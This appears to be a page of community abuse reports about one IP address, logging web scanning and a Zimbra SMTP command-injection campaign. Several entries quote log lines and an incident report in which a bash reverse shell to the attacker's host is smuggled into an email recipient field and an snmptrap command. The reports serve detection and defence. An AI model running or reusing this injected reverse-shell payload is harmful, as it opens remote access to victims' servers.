🇺🇸
k3rn3l109
2026-11-11 20:30:09
UTC ·
(1 day ago)
Sentinel honeypot: nodered-flow hit on node-red.edgecdnhub.com
Hacking
🇺🇸
Execoop
2026-11-11 19:24:07
UTC ·
(1 day ago)
HTTP Web Scanning (observed): 7 HTTP, 1s
Bad Web Bot
Web App Attack
🇸🇬
heyzg
2026-11-11 19:23:51
UTC ·
(1 day ago)
HTTP Web Scanning (observed): 7 HTTP, 2s
Bad Web Bot
Web App Attack
🇯🇵
Execoop
2026-11-11 19:09:04
UTC ·
(1 day ago)
HTTP Web Scanning (observed): 7 HTTP, 2s
Bad Web Bot
Web App Attack
🇺🇸
heyzg
2026-11-11 19:08:36
UTC ·
(1 day ago)
HTTP Web Scanning (observed): 7 HTTP
Bad Web Bot
Web App Attack
🇫🇷
JE55II
2026-11-11 18:34:00
UTC ·
(1 day ago)
ZIMBRA exploitation
--- Report : ---
Date et heure : 11 Nov. 26
Utilisateur : zimbra
Endpoint : [REDACTED]
Adresse IP Destination : 105.155.118.249 [MA] Rabat | ADSL_Maroc_telecom, ligne fixe
Chemin d'accès :
```
`/opt/zimbra/common/bin/s ...
show more
ZIMBRA exploitation
--- Report : ---
Date et heure : 11 Nov. 26
Utilisateur : zimbra
Endpoint : [REDACTED]
Adresse IP Destination : 105.155.118.249 [MA] Rabat | ADSL_Maroc_telecom, ligne fixe
Chemin d'accès :
```
`/opt/zimbra/common/bin/snmptrap`
```
Commande :
```
/usr/bin/perl /opt/zimbra/data/tmp/.swatchdog_script.545122
/opt/zimbra/common/bin/snmptrap -v 2c -c zimbra [REDACTED] ZIMBRA-TRAP-MIB::zmServiceStatusTrap ZIMBRA-MIB::zmServiceName s $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) ZIMBRA-MIB::zmServiceStatus i 1
```
VT Score :
1 /92
Community Knowledge :
- Github PoC
Sources d'information :
Crowdstrike
AbuseIPDB
VirusTotal
Zimbra
https://app.opencve.io/cve/CVE-2026-73570
show less
Web App Attack
Hacking
2026-11-11 18:32:24
UTC ·
(1 day ago)
Fail2Ban jail zimbra-cmdinject detected and blocked malicious activity against our mail server.
Hacking
Web App Attack
🇮🇹
milauria
2026-11-11 18:22:31
UTC ·
(1 day ago)
Nov 11 19:21:54 mail postfix/smtpd[2959960]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to runni ...
show more
Nov 11 19:21:54 mail postfix/smtpd[2959960]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.assistudiolauria.it> proto=ESMTP helo=<poc.invalid>
...
show less
Brute-Force
🇫🇷
mepopa
2026-11-11 18:14:34
UTC ·
(1 day ago)
abusive activity detected
Brute-Force
Email Spam
2026-11-11 18:12:23
UTC ·
(1 day ago)
Zimbra SMTP command injection attempt
Hacking
Web App Attack
🇲🇩
MoldPresa
2026-11-11 18:11:55
UTC ·
(1 day ago)
Fail2Ban [zimbra-smtp]: Nov 11 20:11:49 01eml01p postfix/smtpd[55790]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) cha ...
show more
Fail2Ban [zimbra-smtp]: Nov 11 20:11:49 01eml01p postfix/smtpd[55790]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-01eml01p.moldpresa.md> proto=ESMTP helo=<poc.invalid>
Nov 11 20:11:49 01eml01p postfix/smtpd[55790]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 550 5.1.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Recipient address rejected: 01eml01p.moldpresa.md; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to r
show less
Brute-Force
Bad Web Bot
Web App Attack
🇪🇨
ocabrera23
2026-11-11 18:11:04
UTC ·
(1 day ago)
2026-11-11T18:11:03.690555+00:00 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from ...
show more
2026-11-11T18:11:03.690555+00:00 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid>
Nov 11 18:11:03 mail postfix/smtpd[359882]: NOQUEUE: reject: RCPT from unknown[105.155.118.249]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected] >: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.155.118.249/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.c
...
show less
Brute-Force
Email Spam
